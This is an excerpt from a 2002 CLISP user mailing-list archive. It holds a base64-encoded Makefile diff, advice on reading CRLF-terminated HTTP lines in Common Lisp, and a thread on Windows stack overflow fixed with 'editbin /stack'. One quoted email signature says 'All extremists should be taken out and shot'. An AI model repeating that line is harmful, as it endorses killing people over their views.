b2dyYW1zIHVzZWQgYnkgIm1ha2UgaW5zdGFsbCI6DQogIElOU1RBTEwgPSBA SU5TVEFMTEANCi0tLSA1Myw1OSAtLS0tDQogIEFSX0ZMQUdTID0gL291dDoN CiAgTVYgPSByZW4NCiAgTE4gPSBjb3B5DQohIFJNID0gLWRlbA0KICANCiAg IyBQcm9ncmFtcyB1c2VkIGJ5ICJtYWtlIGluc3RhbGwiOg0KICBJTlNUQUxM ID0gQElOU1RBTExADQpJbmRleDogY2xpc3AvZmZjYWxsL2NhbGxiYWNrL01h a2VmaWxlLm1zdmMNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NClJDUyBmaWxl OiAvY3Zzcm9vdC9jbGlzcC9jbGlzcC9mZmNhbGwvY2FsbGJhY2svTWFrZWZp bGUubXN2Yyx2DQpyZXRyaWV2aW5nIHJldmlzaW9uIDEuNg0KZGlmZiAtYyAt cjEuNiBNYWtlZmlsZS5tc3ZjDQoqKiogY2xpc3AvZmZjYWxsL2NhbGxiYWNr L01ha2VmaWxlLm1zdmMJMjAwMS8wMi8yMCAxOToyOTozNAkxLjYNCi0tLSBj bGlzcC9mZmNhbGwvY2FsbGJhY2svTWFrZWZpbGUubXN2YwkyMDAyLzAxLzA1 IDIwOjIzOjM2DQoqKioqKioqKioqKioqKioNCioqKiA1Myw1OSAqKioqDQog IEFSX0ZMQUdTID0gL291dDoNCiAgTVYgPSByZW4NCiAgTE4gPSBjb3B5DQoh IFJNID0gZGVsDQogIA0KICAjIFByb2dyYW1zIHVzZWQgYnkgIm1ha2UgaW5z dGFsbCI6DQogIElOU1RBTEwgPSBASU5TVEFMTEANCi0tLSA1Myw1OSAtLS0t DQogIEFSX0ZMQUdTID0gL291dDoNCiAgTVYgPSByZW4NCiAgTE4gPSBjb3B5 DQohIFJNID0gLWRlbA0KICANCiAgIyBQcm9ncmFtcyB1c2VkIGJ5ICJtYWtl IGluc3RhbGwiOg0KICBJTlNUQUxMID0gQElOU1RBTExADQpJbmRleDogY2xp c3AvZmZjYWxsL2NhbGxiYWNrL3RyYW1wb2xpbmVfci9NYWtlZmlsZS5tc3Zj DQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09DQpSQ1MgZmlsZTogL2N2c3Jvb3Qv Y2xpc3AvY2xpc3AvZmZjYWxsL2NhbGxiYWNrL3RyYW1wb2xpbmVfci9NYWtl ZmlsZS5tc3ZjLHYNCnJldHJpZXZpbmcgcmV2aXNpb24gMS41DQpkaWZmIC1j IC1yMS41IE1ha2VmaWxlLm1zdmMNCioqKiBjbGlzcC9mZmNhbGwvY2FsbGJh Y2svdHJhbXBvbGluZV9yL01ha2VmaWxlLm1zdmMJMjAwMS8wMi8yMCAxOToy OTozNAkxLjUNCi0tLSBjbGlzcC9mZmNhbGwvY2FsbGJhY2svdHJhbXBvbGlu ZV9yL01ha2VmaWxlLm1zdmMJMjAwMi8wMS8wNSAyMDoyMzozNg0KKioqKioq KioqKioqKioqDQoqKiogNTEsNTcgKioqKg0KICBJTkNMVURFUyA9IC1JLiAt SSQoc3JjZGlyKQ0KICBBUiA9IGxpYg0KICBBUl9GTEFHUyA9IC9vdXQ6DQoh IFJNID0gZGVsDQogIExOID0gY29weQ0KICANCiAgIyBQcm9ncmFtcyB1c2Vk IGJ5ICJtYWtlIGluc3RhbGwiOg0KLS0tIDUxLDU3IC0tLS0NCiAgSU5DTFVE RVMgPSAtSS4gLUkkKHNyY2RpcikNCiAgQVIgPSBsaWINCiAgQVJfRkxBR1Mg PSAvb3V0Og0KISBSTSA9IC1kZWwNCiAgTE4gPSBjb3B5DQogIA0KICAjIFBy b2dyYW1zIHVzZWQgYnkgIm1ha2UgaW5zdGFsbCI6DQpJbmRleDogY2xpc3Av ZmZjYWxsL2NhbGxiYWNrL3ZhY2FsbF9yL01ha2VmaWxlLm1zdmMNCj09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT0NClJDUyBmaWxlOiAvY3Zzcm9vdC9jbGlzcC9j bGlzcC9mZmNhbGwvY2FsbGJhY2svdmFjYWxsX3IvTWFrZWZpbGUubXN2Yyx2 DQpyZXRyaWV2aW5nIHJldmlzaW9uIDEuNQ0KZGlmZiAtYyAtcjEuNSBNYWtl ZmlsZS5tc3ZjDQoqKiogY2xpc3AvZmZjYWxsL2NhbGxiYWNrL3ZhY2FsbF9y L01ha2VmaWxlLm1zdmMJMjAwMS8wMi8yMCAxOToyOTozNAkxLjUNCi0tLSBj bGlzcC9mZmNhbGwvY2FsbGJhY2svdmFjYWxsX3IvTWFrZWZpbGUubXN2Ywky MDAyLzAxLzA1IDIwOjIzOjM3DQoqKioqKioqKioqKioqKioNCioqKiA1Myw1 OSAqKioqDQogIEFSX0ZMQUdTID0gL291dDoNCiAgTVYgPSByZW4NCiAgTE4g PSBjb3B5DQohIFJNID0gZGVsDQogIA0KICAjIFByb2dyYW1zIHVzZWQgYnkg Im1ha2UgaW5zdGFsbCI6DQogIElOU1RBTEwgPSBASU5TVEFMTEANCi0tLSA1 Myw1OSAtLS0tDQogIEFSX0ZMQUdTID0gL291dDoNCiAgTVYgPSByZW4NCiAg TE4gPSBjb3B5DQohIFJNID0gLWRlbA0KICANCiAgIyBQcm9ncmFtcyB1c2Vk IGJ5ICJtYWtlIGluc3RhbGwiOg0KICBJTlNUQUxMID0gQElOU1RBTExADQpJ bmRleDogY2xpc3AvZmZjYWxsL3RyYW1wb2xpbmUvTWFrZWZpbGUubXN2Yw0K PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PQ0KUkNTIGZpbGU6IC9jdnNyb290L2Ns aXNwL2NsaXNwL2ZmY2FsbC90cmFtcG9saW5lL01ha2VmaWxlLm1zdmMsdg0K cmV0cmlldmluZyByZXZpc2lvbiAxLjUNCmRpZmYgLWMgLXIxLjUgTWFrZWZp bGUubXN2Yw0KKioqIGNsaXNwL2ZmY2FsbC90cmFtcG9saW5lL01ha2VmaWxl Lm1zdmMJMjAwMS8wMi8yMCAxOToyOTozNAkxLjUNCi0tLSBjbGlzcC9mZmNh bGwvdHJhbXBvbGluZS9NYWtlZmlsZS5tc3ZjCTIwMDIvMDEvMDUgMjA6MjM6 MzgNCioqKioqKioqKioqKioqKg0KKioqIDUxLDU3ICoqKioNCiAgSU5DTFVE RVMgPSAtSS4gLUkkKHNyY2RpcikNCiAgQVIgPSBsaWINCiAgQVJfRkxBR1Mg PSAvb3V0Og0KISBSTSA9IGRlbA0KICBMTiA9IGNvcHkNCiAgDQogICMgUHJv Z3JhbXMgdXNlZCBieSAibWFrZSBpbnN0YWxsIjoNCi0tLSA1MSw1NyAtLS0t DQogIElOQ0xVREVTID0gLUkuIC1JJChzcmNkaXIpDQogIEFSID0gbGliDQog IEFSX0ZMQUdTID0gL291dDoNCiEgUk0gPSAtZGVsDQogIExOID0gY29weQ0K ICANCiAgIyBQcm9ncmFtcyB1c2VkIGJ5ICJtYWtlIGluc3RhbGwiOg0KSW5k ZXg6IGNsaXNwL2ZmY2FsbC92YWNhbGwvTWFrZWZpbGUubXN2Yw0KPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PQ0KUkNTIGZpbGU6IC9jdnNyb290L2NsaXNwL2Ns aXNwL2ZmY2FsbC92YWNhbGwvTWFrZWZpbGUubXN2Yyx2DQpyZXRyaWV2aW5n IHJldmlzaW9uIDEuNw0KZGlmZiAtYyAtcjEuNyBNYWtlZmlsZS5tc3ZjDQoq KiogY2xpc3AvZmZjYWxsL3ZhY2FsbC9NYWtlZmlsZS5tc3ZjCTIwMDEvMDIv MjAgMTk6Mjk6MzQJMS43DQotLS0gY2xpc3AvZmZjYWxsL3ZhY2FsbC9NYWtl ZmlsZS5tc3ZjCTIwMDIvMDEvMDUgMjA6MjM6NDANCioqKioqKioqKioqKioq Kg0KKioqIDUzLDU5ICoqKioNCiAgQVJfRkxBR1MgPSAvb3V0Og0KICBNViA9 IHJlbg0KICBMTiA9IGNvcHkNCiEgUk0gPSBkZWwNCiAgDQogICMgUHJvZ3Jh bXMgdXNlZCBieSAibWFrZSBpbnN0YWxsIjoNCiAgSU5TVEFMTCA9IEBJTlNU QUxMQA0KLS0tIDUzLDU5IC0tLS0NCiAgQVJfRkxBR1MgPSAvb3V0Og0KICBN ViA9IHJlbg0KICBMTiA9IGNvcHkNCiEgUk0gPSAtZGVsDQogIA0KICAjIFBy b2dyYW1zIHVzZWQgYnkgIm1ha2UgaW5zdGFsbCI6DQogIElOU1RBTEwgPSBA SU5TVEFMTEANCkluZGV4OiBjbGlzcC9saWJpY29udi9NYWtlZmlsZS5tc3Zj DQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09DQpSQ1MgZmlsZTogL2N2c3Jvb3Qv Y2xpc3AvY2xpc3AvbGliaWNvbnYvTWFrZWZpbGUubXN2Yyx2DQpyZXRyaWV2 aW5nIHJldmlzaW9uIDEuMTENCmRpZmYgLWMgLXIxLjExIE1ha2VmaWxlLm1z dmMNCioqKiBjbGlzcC9saWJpY29udi9NYWtlZmlsZS5tc3ZjCTIwMDEvMTEv MjggMTg6NDQ6MjIJMS4xMQ0KLS0tIGNsaXNwL2xpYmljb252L01ha2VmaWxl Lm1zdmMJMjAwMi8wMS8wNSAyMDoyMzo0MQ0KKioqKioqKioqKioqKioqDQoq KiogMzcsNDMgKioqKg0KICANCiAgIyBQcm9ncmFtcyB1c2VkIGJ5ICJtYWtl IjoNCiAgTE4gPSBjb3B5DQohIFJNID0gZGVsDQogIA0KICAjIyMjIEVuZCBv ZiBzeXN0ZW0gY29uZmlndXJhdGlvbiBzZWN0aW9uLiAjIyMjDQogIA0KLS0t IDM3LDQzIC0tLS0NCiAgDQogICMgUHJvZ3JhbXMgdXNlZCBieSAibWFrZSI6 DQogIExOID0gY29weQ0KISBSTSA9IC1kZWwNCiAgDQogICMjIyMgRW5kIG9m IHN5c3RlbSBjb25maWd1cmF0aW9uIHNlY3Rpb24uICMjIyMNCiAgDQpJbmRl eDogY2xpc3AvbGliaWNvbnYvbGliL01ha2VmaWxlLm1zdmMNCj09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT0NClJDUyBmaWxlOiAvY3Zzcm9vdC9jbGlzcC9jbGlz cC9saWJpY29udi9saWIvTWFrZWZpbGUubXN2Yyx2DQpyZXRyaWV2aW5nIHJl dmlzaW9uIDEuNQ0KZGlmZiAtYyAtcjEuNSBNYWtlZmlsZS5tc3ZjDQoqKiog Y2xpc3AvbGliaWNvbnYvbGliL01ha2VmaWxlLm1zdmMJMjAwMS8wNi8yNSAy MjoxNDozOAkxLjUNCi0tLSBjbGlzcC9saWJpY29udi9saWIvTWFrZWZpbGUu bXN2YwkyMDAyLzAxLzA1IDIwOjIzOjQyDQoqKioqKioqKioqKioqKioNCioq KiA2NSw3MSAqKioqDQogIEFSX0ZMQUdTID0gL291dDoNCiAgDQogIExOID0g Y29weQ0KISBSTSA9IGRlbA0KICANCiAgIyBQcm9ncmFtcyB1c2VkIGJ5ICJt YWtlIGluc3RhbGwiOg0KICBJTlNUQUxMID0gQElOU1RBTExADQotLS0gNjUs NzEgLS0tLQ0KICBBUl9GTEFHUyA9IC9vdXQ6DQogIA0KICBMTiA9IGNvcHkN CiEgUk0gPSAtZGVsDQogIA0KICAjIFByb2dyYW1zIHVzZWQgYnkgIm1ha2Ug aW5zdGFsbCI6DQogIElOU1RBTEwgPSBASU5TVEFMTEANCkluZGV4OiBjbGlz cC9saWJpY29udi9saWJjaGFyc2V0L01ha2VmaWxlLm1zdmMNCj09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT0NClJDUyBmaWxlOiAvY3Zzcm9vdC9jbGlzcC9jbGlz cC9saWJpY29udi9saWJjaGFyc2V0L01ha2VmaWxlLm1zdmMsdg0KcmV0cmll dmluZyByZXZpc2lvbiAxLjUNCmRpZmYgLWMgLXIxLjUgTWFrZWZpbGUubXN2 Yw0KKioqIGNsaXNwL2xpYmljb252L2xpYmNoYXJzZXQvTWFrZWZpbGUubXN2 YwkyMDAxLzA1LzA3IDIxOjAwOjQwCTEuNQ0KLS0tIGNsaXNwL2xpYmljb252 L2xpYmNoYXJzZXQvTWFrZWZpbGUubXN2YwkyMDAyLzAxLzA1IDIwOjIzOjQy DQoqKioqKioqKioqKioqKioNCioqKiAzNyw0MyAqKioqDQogIA0KICAjIFBy b2dyYW1zIHVzZWQgYnkgIm1ha2UiOg0KICBMTiA9IGNvcHkNCiEgUk0gPSBk ZWwNCiAgDQogICMjIyMgRW5kIG9mIHN5c3RlbSBjb25maWd1cmF0aW9uIHNl Y3Rpb24uICMjIyMNCiAgDQotLS0gMzcsNDMgLS0tLQ0KICANCiAgIyBQcm9n cmFtcyB1c2VkIGJ5ICJtYWtlIjoNCiAgTE4gPSBjb3B5DQohIFJNID0gLWRl bA0KICANCiAgIyMjIyBFbmQgb2Ygc3lzdGVtIGNvbmZpZ3VyYXRpb24gc2Vj dGlvbi4gIyMjIw0KICANCkluZGV4OiBjbGlzcC9saWJpY29udi9saWJjaGFy c2V0L2xpYi9NYWtlZmlsZS5tc3ZjDQo9PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 DQpSQ1MgZmlsZTogL2N2c3Jvb3QvY2xpc3AvY2xpc3AvbGliaWNvbnYvbGli Y2hhcnNldC9saWIvTWFrZWZpbGUubXN2Yyx2DQpyZXRyaWV2aW5nIHJldmlz aW9uIDEuNQ0KZGlmZiAtYyAtcjEuNSBNYWtlZmlsZS5tc3ZjDQoqKiogY2xp c3AvbGliaWNvbnYvbGliY2hhcnNldC9saWIvTWFrZWZpbGUubXN2YwkyMDAx LzA2LzI1IDIyOjE0OjM4CTEuNQ0KLS0tIGNsaXNwL2xpYmljb252L2xpYmNo YXJzZXQvbGliL01ha2VmaWxlLm1zdmMJMjAwMi8wMS8wNSAyMDoyMzo0Mw0K KioqKioqKioqKioqKioqDQoqKiogNjgsNzQgKioqKg0KICBBUl9GTEFHUyA9 IC9vdXQ6DQogIA0KICBMTiA9IGNvcHkNCiEgUk0gPSBkZWwNCiAgDQogICMg UHJvZ3JhbXMgdXNlZCBieSAibWFrZSBpbnN0YWxsIjoNCiAgSU5TVEFMTCA9 IEBJTlNUQUxMQA0KLS0tIDY4LDc0IC0tLS0NCiAgQVJfRkxBR1MgPSAvb3V0 Og0KICANCiAgTE4gPSBjb3B5DQohIFJNID0gLWRlbA0KICANCiAgIyBQcm9n cmFtcyB1c2VkIGJ5ICJtYWtlIGluc3RhbGwiOg0KICBJTlNUQUxMID0gQElO U1RBTExADQpJbmRleDogY2xpc3AvbGliaWNvbnYvc3JjL01ha2VmaWxlLm1z dmMNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT0NClJDUyBmaWxlOiAvY3Zzcm9v dC9jbGlzcC9jbGlzcC9saWJpY29udi9zcmMvTWFrZWZpbGUubXN2Yyx2DQpy ZXRyaWV2aW5nIHJldmlzaW9uIDEuOQ0KZGlmZiAtYyAtcjEuOSBNYWtlZmls ZS5tc3ZjDQoqKiogY2xpc3AvbGliaWNvbnYvc3JjL01ha2VmaWxlLm1zdmMJ MjAwMS8wNi8yNSAyMjoxNDozOAkxLjkNCi0tLSBjbGlzcC9saWJpY29udi9z cmMvTWFrZWZpbGUubXN2YwkyMDAyLzAxLzA1IDIwOjIzOjQ0DQoqKioqKioq KioqKioqKioNCioqKiA0Miw0OCAqKioqDQogIENDID0gY2wNCiAgQ0ZMQUdT ID0gJChNRkxBR1MpICQoV0FSTl9DRkxBR1MpICQoT1BUSU1GTEFHUykNCiAg SU5DTFVERVMgPSAtSS4gLUkkKHNyY2RpcikgLUkuLlxpbmNsdWRlIC1JJChz cmNkaXIpXC4uXGluY2x1ZGUNCiEgUk0gPSBkZWwNCiAgDQogICMjIyMgRW5k IG9mIHN5c3RlbSBjb25maWd1cmF0aW9uIHNlY3Rpb24uICMjIyMNCiAgDQot LS0gNDIsNDggLS0tLQ0KICBDQyA9IGNsDQogIENGTEFHUyA9ICQoTUZMQUdT KSAkKFdBUk5fQ0ZMQUdTKSAkKE9QVElNRkxBR1MpDQogIElOQ0xVREVTID0g LUkuIC1JJChzcmNkaXIpIC1JLi5caW5jbHVkZSAtSSQoc3JjZGlyKVwuLlxp bmNsdWRlDQohIFJNID0gLWRlbA0KICANCiAgIyMjIyBFbmQgb2Ygc3lzdGVt IGNvbmZpZ3VyYXRpb24gc2VjdGlvbi4gIyMjIw0KICANCkluZGV4OiBjbGlz cC9saWJpY29udi90ZXN0cy9NYWtlZmlsZS5tc3ZjDQo9PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09DQpSQ1MgZmlsZTogL2N2c3Jvb3QvY2xpc3AvY2xpc3AvbGli aWNvbnYvdGVzdHMvTWFrZWZpbGUubXN2Yyx2DQpyZXRyaWV2aW5nIHJldmlz aW9uIDEuMTMNCmRpZmYgLWMgLXIxLjEzIE1ha2VmaWxlLm1zdmMNCioqKiBj bGlzcC9saWJpY29udi90ZXN0cy9NYWtlZmlsZS5tc3ZjCTIwMDEvMDYvMjUg MjI6MTQ6MzgJMS4xMw0KLS0tIGNsaXNwL2xpYmljb252L3Rlc3RzL01ha2Vm aWxlLm1zdmMJMjAwMi8wMS8wNSAyMDoyMzo0NA0KKioqKioqKioqKioqKioq DQoqKiogMzgsNDQgKioqKg0KICBDQyA9IGNsDQogIENGTEFHUyA9ICQoTUZM QUdTKSAtVzEgJChPUFRJTUZMQUdTKQ0KICBJTkNMVURFUyA9IC1JLiAtSSQo c3JjZGlyKSAtSS4uXGluY2x1ZGUgLUkkKHNyY2RpcilcLi5caW5jbHVkZSAt SS4uXGxpYg0KISBSTSA9IGRlbA0KICANCiAgIyMjIyBFbmQgb2Ygc3lzdGVt IGNvbmZpZ3VyYXRpb24gc2VjdGlvbi4gIyMjIw0KICANCi0tLSAzOCw0NCAt LS0tDQogIENDID0gY2wNCiAgQ0ZMQUdTID0gJChNRkxBR1MpIC1XMSAkKE9Q VElNRkxBR1MpDQogIElOQ0xVREVTID0gLUkuIC1JJChzcmNkaXIpIC1JLi5c aW5jbHVkZSAtSSQoc3JjZGlyKVwuLlxpbmNsdWRlIC1JLi5cbGliDQohIFJN ID0gLWRlbA0KICANCiAgIyMjIyBFbmQgb2Ygc3lzdGVtIGNvbmZpZ3VyYXRp b24gc2VjdGlvbi4gIyMjIw0KICANCkluZGV4OiBjbGlzcC9zaWdzZWd2L01h a2VmaWxlLm1zdmMNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NClJDUyBmaWxl OiAvY3Zzcm9vdC9jbGlzcC9jbGlzcC9zaWdzZWd2L01ha2VmaWxlLm1zdmMs dg0KcmV0cmlldmluZyByZXZpc2lvbiAxLjYNCmRpZmYgLWMgLXIxLjYgTWFr ZWZpbGUubXN2Yw0KKioqIGNsaXNwL3NpZ3NlZ3YvTWFrZWZpbGUubXN2Ywky MDAxLzAyLzIwIDE5OjMwOjU3CTEuNg0KLS0tIGNsaXNwL3NpZ3NlZ3YvTWFr ZWZpbGUubXN2YwkyMDAyLzAxLzA1IDIwOjIzOjQ2DQoqKioqKioqKioqKioq KioNCioqKiA1MCw1NiAqKioqDQogIE1WID0gcmVuDQogIENQID0gY29weQ0K ICBMTiA9IGNvcHkNCiEgUk0gPSBkZWwNCiAgDQogICMgUHJvZ3JhbXMgdXNl ZCBieSAibWFrZSBpbnN0YWxsIjoNCiAgSU5TVEFMTCA9IEBJTlNUQUxMQA0K LS0tIDUwLDU2IC0tLS0NCiAgTVYgPSByZW4NCiAgQ1AgPSBjb3B5DQogIExO ID0gY29weQ0KISBSTSA9IC1kZWwNCiAgDQogICMgUHJvZ3JhbXMgdXNlZCBi eSAibWFrZSBpbnN0YWxsIjoNCiAgSU5TVEFMTCA9IEBJTlNUQUxMQA0KSW5k ZXg6IGNsaXNwL3V0aWxzL2djYy1jY2NwL01ha2VmaWxlLm1zdmMNCj09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT0NClJDUyBmaWxlOiAvY3Zzcm9vdC9jbGlzcC9j bGlzcC91dGlscy9nY2MtY2NjcC9NYWtlZmlsZS5tc3ZjLHYNCnJldHJpZXZp bmcgcmV2aXNpb24gMS4yDQpkaWZmIC1jIC1yMS4yIE1ha2VmaWxlLm1zdmMN CioqKiBjbGlzcC91dGlscy9nY2MtY2NjcC9NYWtlZmlsZS5tc3ZjCTIwMDEv MDgvMTQgMTg6Mzc6MTQJMS4yDQotLS0gY2xpc3AvdXRpbHMvZ2NjLWNjY3Av TWFrZWZpbGUubXN2YwkyMDAyLzAxLzA1IDIwOjIzOjUxDQoqKioqKioqKioq KioqKioNCioqKiAzMSwzNCAqKioqDQogIAkkKENDKSAkKENGTEFHUykgLWMg YWxsb2NhLmMNCiAgDQogIGNsZWFuIDoNCiEgCWRlbCAqLm9iaiBjY2NwLmV4 ZQ0KLS0tIDMxLDM0IC0tLS0NCiAgCSQoQ0MpICQoQ0ZMQUdTKSAtYyBhbGxv Y2EuYw0KICANCiAgY2xlYW4gOg0KISAJLWRlbCAqLm9iaiBjY2NwLmV4ZQ0K --0-284539384-1010262707=:50844-- From wiseman@inetmi.com Sat Jan 05 13:12:38 2002 Received: from nameserve.inetmi.com ([204.146.136.253]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16My7I-00086i-00 for ; Sat, 05 Jan 2002 13:12:36 -0800 Received: (qmail 3906 invoked from network); 5 Jan 2002 21:17:02 -0000 Received: from unknown (HELO LEMONODOR) (12.247.49.141) by 204.146.136.253 with SMTP; 5 Jan 2002 21:17:02 -0000 From: "John Wiseman" To: Subject: RE: [clisp-list] bugs in (setf (stream-element-type x) ...) Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 5 13:13:02 2002 X-Original-Date: Sat, 5 Jan 2002 15:12:30 -0600 Todd Sabin wrote: > So, I was trying to write some sample code that would act as an HTTP > client. What I did was (socket-connect ...), (format ...), then > (read-line ...) until I got the empty line. At that point, I did > (setf (stream-element-type *socket*) '(unsigned byte 8)), and then > (read-sequence *array* *socket*), where *array* was obtained from > make-array with the size specified by the Content-Length: header. Seriously, you should never use read-line for that stuff, even if it seems to "work". HTTP (and many other protocols) use CRLF. read-line has nothing to do with CRLF. It might work on your machine-of-the- moment, in your lisp-of-the-moment, but it is wrong. This is what I use in ACL (windows, linux) and MCL: (defparameter *cr* (code-char 13)) (defparameter *lf* (code-char 10)) (defun read-telnet-line (stream) "Read a CRLF-terminated line" (let ((line (make-array 10 :element-type 'character :adjustable t :fill-pointer 0)) (char nil)) (do () ((or (eq :eof (setq char (read-char stream NIL :eof))) (and (eq char *cr*) (eq (peek-char nil stream) *lf*))) (when (not (eq char :eof)) (read-char stream)) line) (vector-push-extend char line)))) I haven't tried this in clisp. John Wiseman From m@miguelg.net Sat Jan 05 13:15:29 2002 Received: from relay1.pair.com ([209.68.1.20] helo=relay.pair.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16MyA4-0000QM-00 for ; Sat, 05 Jan 2002 13:15:29 -0800 Received: (qmail 66968 invoked from network); 5 Jan 2002 21:15:25 -0000 Received: from d141027.sjm.pt.kpnqwest.net (HELO takeway.miguelg.net) (193.126.141.27) by relay1.pair.com with SMTP; 5 Jan 2002 21:15:25 -0000 X-pair-Authenticated: 193.126.141.27 Message-Id: <5.1.0.14.2.20020105211359.00b13250@miguelg.net> X-Sender: mg@miguelg.net X-Mailer: QUALCOMM Windows Eudora Version 5.1 X-Priority: 1 (Highest) To: clisp-list@lists.sourceforge.net From: Miguel =?iso-8859-1?Q?Gon=E7alves?= Subject: Re: [clisp-list] Stack size problem In-Reply-To: References: <5.1.0.14.2.20020105031053.00b12e90@miguelg.net> <5.1.0.14.2.20020105031053.00b12e90@miguelg.net> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 5 13:16:03 2002 X-Original-Date: Sat, 05 Jan 2002 21:15:05 +0000 After running the editbin command exactly as you suggested I got this: [1]> (defun fact (n) (if (> n 0) (* n (fact (- n 1))) 1)) FACT [2]> (fact 5000) *** - Program stack overflow. RESET [3]> What might be the problem? Is it CLISP or Windows? I tried the same=20 function with DrScheme and managed to calculate (fact 20000) so I think=20 it's not a Windows problem. TIA, Miguel At 10:40 05-01-2002 -0500, you wrote: > > * In message <5.1.0.14.2.20020105031053.00b12e90@miguelg.net> > > * On the subject of "[clisp-list] Stack size problem" > > * Sent on Sat, 05 Jan 2002 03:14:16 +0000 > > * Honorable Miguel Gon=E7alves writes: > > > > On the Microsoft Windows platform the stack is too small when compared > > to GNU/Linux installations. > > > > Can it be increased in any way without recompiling CLISP? > >editbin /stack:3145728 lisp.exe > > > Are there interesting Common Lisp commands regarding the stack I should > > be aware of? > > > >-- >Sam Steingold (http://www.podval.org/~sds) >Keep Jerusalem united! >Read, think and remember! >All extremists should be taken out and shot. From wiseman@inetmi.com Sat Jan 05 13:19:53 2002 Received: from nameserve.inetmi.com ([204.146.136.253]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16MyEK-0001SW-00 for ; Sat, 05 Jan 2002 13:19:52 -0800 Received: (qmail 4012 invoked from network); 5 Jan 2002 21:24:19 -0000 Received: from unknown (HELO LEMONODOR) (12.247.49.141) by 204.146.136.253 with SMTP; 5 Jan 2002 21:24:19 -0000 From: "John Wiseman" To: Subject: RE: [clisp-list] bugs in (setf (stream-element-type x) ...) Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 5 13:20:02 2002 X-Original-Date: Sat, 5 Jan 2002 15:19:47 -0600 John Wiseman wrote: > (defun read-telnet-line (stream) > "Read a CRLF-terminated line" > (let ((line (make-array 10 :element-type 'character :adjustable t :fill-pointer 0)) > (char nil)) > (do () ((or (eq :eof (setq char (read-char stream NIL :eof))) > (and (eq char *cr*) (eq (peek-char nil stream) *lf*))) > (when (not (eq char :eof)) (read-char stream)) > line) > (vector-push-extend char line)))) Eek, was I really using eq to compare characters? This should, of course, be (defun read-telnet-line (stream) "Read a CRLF-terminated line" (let ((line (make-array 10 :element-type 'character :adjustable t :fill-pointer 0)) (char nil)) (do () ((or (eq :eof (setq char (read-char stream NIL :eof))) (and (eql char *cr*) (eql (peek-char nil stream) *lf*))) (when (not (eq char :eof)) (read-char stream)) line) (vector-push-extend char line)))) John From m@miguelg.net Sat Jan 05 15:07:23 2002 Received: from relay1.pair.com ([209.68.1.20] helo=relay.pair.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16MzuN-0000ty-00 for ; Sat, 05 Jan 2002 15:07:23 -0800 Received: (qmail 78552 invoked from network); 5 Jan 2002 23:07:19 -0000 Received: from d141126.sjm.pt.kpnqwest.net (HELO takeway.miguelg.net) (193.126.141.126) by relay1.pair.com with SMTP; 5 Jan 2002 23:07:19 -0000 X-pair-Authenticated: 193.126.141.126 Message-Id: <5.1.0.14.2.20020105225719.00b135b8@miguelg.net> X-Sender: mg@miguelg.net X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Miguel =?iso-8859-1?Q?Gon=E7alves?= Subject: Re: [clisp-list] Stack size problem 